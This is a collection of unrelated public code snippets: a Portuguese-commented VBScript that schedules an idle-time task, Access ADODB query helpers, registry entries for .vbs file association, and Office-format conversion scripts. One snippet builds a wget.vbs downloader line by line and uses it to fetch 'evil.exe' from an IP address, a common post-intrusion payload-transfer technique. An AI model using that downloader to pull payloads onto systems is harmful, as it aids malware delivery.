Explore Public Snippets

'Este script cria uma tarefa agendada via vbscript para implementação 
'O script será usado para implementar uma GPO de LOGON 
'Sempre que computador ficar ocioso por 20 minutos a tarefa é executada
'No caso a tarefa executa o "FianalizarProgramas.bat", localizado no servidor "SRVAplic"

Set CmdShell= Wscript.CreateObject("Wscript.Shell")

'SCHTASKS -> Cria a tarefa | /SC ONIDLE /I 20 -> Define que executa após 20 minutos de ócio
'/TN "NOME DA TEREFA" | /TR \\SRVAplic\scripts\FianalizarProgramas.bat > O que executar
CmdShell.Run "SCHTASKS /Create /SC ONIDLE /I 20 /TN ""Fechar Programas Ociosos"" /TR \\SRVAplic\scripts\FianalizarProgramas.bat"

Wscript.Sleep 100


'Caso a terafa já exista, a próxima instrução irá subscrever-la
CmdShell.SendKeys "S~"

Wscript.Quit 

Public Function ExecCmd(ByVal sql As String) As Boolean
On Error GoTo ErrorCmd

  Dim conn As ADODB.Connection
  Dim cmd As ADODB.Command
      
  'Init db objects
  'Connection is the current DB one
  Set conn = CurrentProject.Connection
  Set cmd = New ADODB.Command
    
  With cmd
      .ActiveConnection = conn
      .CommandText = sql
      .CommandType = adCmdText
      .Execute
  End With

  ExecCmd = True
    
Exit_go: Exit Function
ErrorCmd:
  MsgBox Err.Description
  ExecCmd = False
End Function

Dim rd As ADODB.Recordset
Dim sql As String, res As String

res = ""
sql = "SELECT Something FROM MyTable WHERE Year=2014"
Set rd = ExecQuery(sql)
If (rd Is Nothing) Then GoTo ErrorQuery
While Not rd.EOF
  res = res + rd("Something")
  rd.MoveNext
Wend

MsgBox(res)

Exit
ErrorQuery: MsgBox("Something wrong here")

Public Function GetStringFromDB(ByVal id As Integer) As String
On Error GoTo ErrorQuery

  Dim objRS As ADODB.Recordset
  Dim cmd As ADODB.Command
  Dim sql As String
      
  'Init db objects
  'Connection is the current DB one
  Set cmd = New ADODB.Command
  Set objRS = New ADODB.Recordset
  
  sql = "SELECT MyField FROM MyTable WHERE ID=" & id
  Set objRS = CurrentProject.Connection.Execute(sql)
  GetStringFromDB = objRS("MyField")
  objRS.Close
  Set objRS = Nothing
        
Exit_go: Exit Function
ErrorQuery: GetStringFromDB = ""
End Function

Public Function ExecQuery(ByVal sql As String) As ADODB.Recordset
On Error GoTo ErrorCmd

  Dim conn As ADODB.Connection

  'Init db objects
  'Connection is the current DB one
  If exception_flag Then On Error Resume Next
  Set conn = CurrentProject.Connection
  Set ExecQuery = New ADODB.Recordset

  'Exec the query
  Set ExecQuery = CurrentProject.Connection.Execute(sql)

Exit_go: Exit Function
ErrorCmd: Set ExecQuery = Nothing
End Function

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs


#After you've created wget.vbs
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe

REGEDIT4

[HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command]
@=hex(2):22,25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,53,79,73,57,4f,57,36,34,5c,\
  57,53,63,72,69,70,74,2e,65,78,65,22,20,22,25,31,22,20,25,2a,00

REGEDIT4

[HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command]
@=hex(2):22,25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,53,79,73,74,65,6d,33,32,5c,\
  43,53,63,72,69,70,74,2e,65,78,65,22,20,22,25,31,22,20,25,2a,00

Dim arguments
Set arguments = WScript.Arguments

' http://msdn2.microsoft.com/en-us/library/bb238158.aspx
Const wdFormatXMLDocument = 12  ' docx
' https://technet.microsoft.com/en-us/library/ff198017.aspx
Const xlOpenXMLWorkbook = 51 ' xlsx
' https://msdn.microsoft.com/en-us/library/office/ff746500.aspx
Const ppSaveAsOpenXMLPresentation = 24 ' pptx

Const DoNotSaveChanges = 0

Dim fileSystemObject
Dim inputArg
Dim filExt
Dim destinationPath

Dim wordApplication
Dim wordDocument

Dim excelApplication
Dim excelDocument

Dim powerpointApplication
Dim powerpointDocument

Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = fso.GetStandardStream (1)
Set stderr = fso.GetStandardStream (2)
 
Function CheckUserArguments()
  If arguments.Unnamed.Count <> 1 Then
    WScript.Echo "Use:"
    WScript.Echo "<script> path\inputfolder"
    WScript.Echo "<script> path\inputArg"
    WScript.Quit 1
  End If
End Function

Function InitializeWord()
  Set wordApplication = CreateObject("Word.Application")
  wordApplication.WordBasic.DisableAutoMacros
End Function

Function InitializeExcel()
  Set excelApplication = CreateObject("Excel.Application")
  excelApplication.DisplayAlerts = False
  excelApplication.EnableEvents = False
End Function

Function InitializePowerpoint()
  Set powerpointApplication = CreateObject("PowerPoint.Application")
End Function

Function Initialize()
  inputArg = arguments.Unnamed.Item(0)
  inputArg = fso.GetAbsolutePathName(inputArg)
End Function  
 
Function DocToDocx(file)
  file = fso.GetAbsolutePathName(file)
  If Not IsObject(wordApplication) Then
    Call InitializeWord()
  End If
  destinationPath = file + "x"
  Set wordDocument = wordApplication.Documents.Open(file)
  wordDocument.SaveAs destinationPath, wdFormatXMLDocument
 
  wordDocument.Close DoNotSaveChanges
  set wordDocument = Nothing
End Function

Function XlsToXlsx(file)
  file = fso.GetAbsolutePathName(file)
  If Not IsObject(excelApplication) Then
    Call InitializeExcel()
  End If
  destinationPath = file + "x"
  Set excelDocument = excelApplication.Workbooks.Open(file)
  excelDocument.SaveAs destinationPath, xlOpenXMLWorkbook

  excelDocument.Close DoNotSaveChanges
  set excelDocument = Nothing
End Function

Function PptToPptx(file)
  file = fso.GetAbsolutePathName(file)
  If Not IsObject(powerpointApplication) Then
    Call InitializePowerpoint()
  End If
  destinationPath = file + "x"
  Set powerpointDocument = powerpointApplication.Presentations.Open(file, True, False, False)
  powerpointDocument.SaveAs destinationPath, ppSaveAsOpenXMLPresentation

  powerpointDocument.Close
  set powerpointDocument = Nothing
End Function

Function Close()
  if IsObject(wordApplication) Then
    wordApplication.Quit DoNotSaveChanges
    Set wordApplication = Nothing
  End If
  if IsObject(excelApplication) Then
    excelApplication.Quit
    Set excelApplication = Nothing
  End If
  if IsObject(powerpointApplication) Then
    powerpointApplication.Quit
    Set powerpointApplication = Nothing
  End If
  Set fso = Nothing
  Set arguments = Nothing
End Function

Function GetFileExt(file)
  GetFileExt = fso.GetExtensionName(file)
End Function

Function Convert(objFile)
  filExt = GetFileExt(objFile)
  Select Case filExt
  Case "xls"
    stdout.WriteLine "Converting " & fso.GetAbsolutePathName(objFile)
    XlsToXlsx(objFile)
  Case "ppt"
    stdout.WriteLine "Converting " & fso.GetAbsolutePathName(objFile)
    PptToPptx(objFile)
  Case "doc"
    stdout.WriteLine "Converting " & fso.GetAbsolutePathName(objFile)
    DocToDocx(objFile)
  Case Else
    stdout.WriteLine "Ignoring: " & fso.GetAbsolutePathName(objFile)
  End Select
End Function

Function ConvertFolders(objStartFolder)
  Set objFolder = fso.GetFolder(objStartFolder)
  Set colFiles = objFolder.Files
  For Each objFile in colFiles
      Convert(objFile)
  Next

  For Each Subfolder in objFolder.SubFolders
    ConvertFolders Subfolder.Path
  Next
End Function

Call CheckUserArguments()
Call Initialize()
If (fso.FileExists(inputArg)) Then Call Convert(inputArg)
If (fso.FolderExists(inputArg)) Then Call ConvertFolders(inputArg)
Call Close()

Dim arguments
Set arguments = WScript.Arguments

' http://msdn2.microsoft.com/en-us/library/bb238158.aspx
Const wdFormatXMLDocument = 12  ' docx
' https://technet.microsoft.com/en-us/library/ff198017.aspx
Const xlOpenXMLWorkbook = 51 ' xlsx
' https://msdn.microsoft.com/en-us/library/office/ff746500.aspx
Const ppSaveAsOpenXMLPresentation = 24 ' pptx

Const DoNotSaveChanges = 0

Dim fileSystemObject
Dim baseFolder
Dim inputFile
Dim outputFile
Dim filExt

Dim wordApplication
Dim wordDocument

Dim excelApplication
Dim excelDocument

Dim powerpointApplication
Dim powerpointDocument

Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = fso.GetStandardStream (1)
Set stderr = fso.GetStandardStream (2)
 
Function CheckUserArguments()
  If arguments.Unnamed.Count < 1 Or arguments.Unnamed.Count > 2 Then
    WScript.Echo "Use:"
    WScript.Echo "<script> path\inputfolder"
    WScript.Echo "<script> path\inputfolder path\outputfolder"
    WScript.Quit 1
  End If
End Function

Function Initialize()
  Set fileSystemObject = CreateObject("Scripting.FileSystemObject")
  
  Set wordApplication = CreateObject("Word.Application")
  wordApplication.WordBasic.DisableAutoMacros
  
  Set excelApplication = CreateObject("Excel.Application")
  excelApplication.DisplayAlerts = False
  excelApplication.EnableEvents = False

  Set powerpointApplication = CreateObject("PowerPoint.Application")

  inputFile = arguments.Unnamed.Item(0)
  inputFile = fileSystemObject.GetAbsolutePathName(inputFile)
  baseFolder = fileSystemObject.GetParentFolderName(inputFile)
  If arguments.Unnamed.Count = 2 Then
    outputFile = arguments.Unnamed.Item(1)
    If Len(fileSystemObject.GetParentFolderName(outputFile)) = 0 Then
      outputFile = baseFolder + "\" + outputFile
    End If
  Else
    outputFile = inputFile + "x"
  End If
End Function  
 
Function DocToDocx()
  Set wordDocument = wordApplication.Documents.Open(inputFile)
  wordDocument.SaveAs outputFile, wdFormatXMLDocument
 
  wordDocument.Close DoNotSaveChanges
  set wordDocument = Nothing
End Function

Function XlsToXlsx()
  Set excelDocument = excelApplication.Workbooks.Open(inputFile)
  excelDocument.SaveAs outputFile, xlOpenXMLWorkbook

  excelDocument.Close DoNotSaveChanges
  set excelDocument = Nothing
End Function

Function PptToPptx()
  Set powerpointDocument = powerpointApplication.Presentations.Open(inputFile, True, False, False)
  powerpointDocument.SaveAs outputFile, ppSaveAsOpenXMLPresentation

  powerpointDocument.Close
  set powerpointDocument = Nothing
End Function

Function Close()
  wordApplication.Quit DoNotSaveChanges
  excelApplication.Quit
  Set wordApplication = Nothing
  Set excelApplication = Nothing
  Set fileSystemObject = Nothing
  Set arguments = Nothing
End Function

Function GetFileExt(file)
  GetFileExt = fileSystemObject.GetExtensionName(file)
End Function

Function Convert()
  filExt = GetFileExt(inputFile)
  Select Case filExt
  Case "xls"
    stdout.WriteLine "Converting " & inputFile
    XlsToXlsx()
  Case "ppt"
    stdout.WriteLine "Converting " & inputFile
    PptToPptx()
  Case "doc"
    stdout.WriteLine "Converting " & inputFile
    DocToDocx()
  Case Else
    stdout.WriteLine "Ignoring: " & inputFile
  End Select
End Function


Call CheckUserArguments()
Call Initialize()
Call Convert()
Call Close()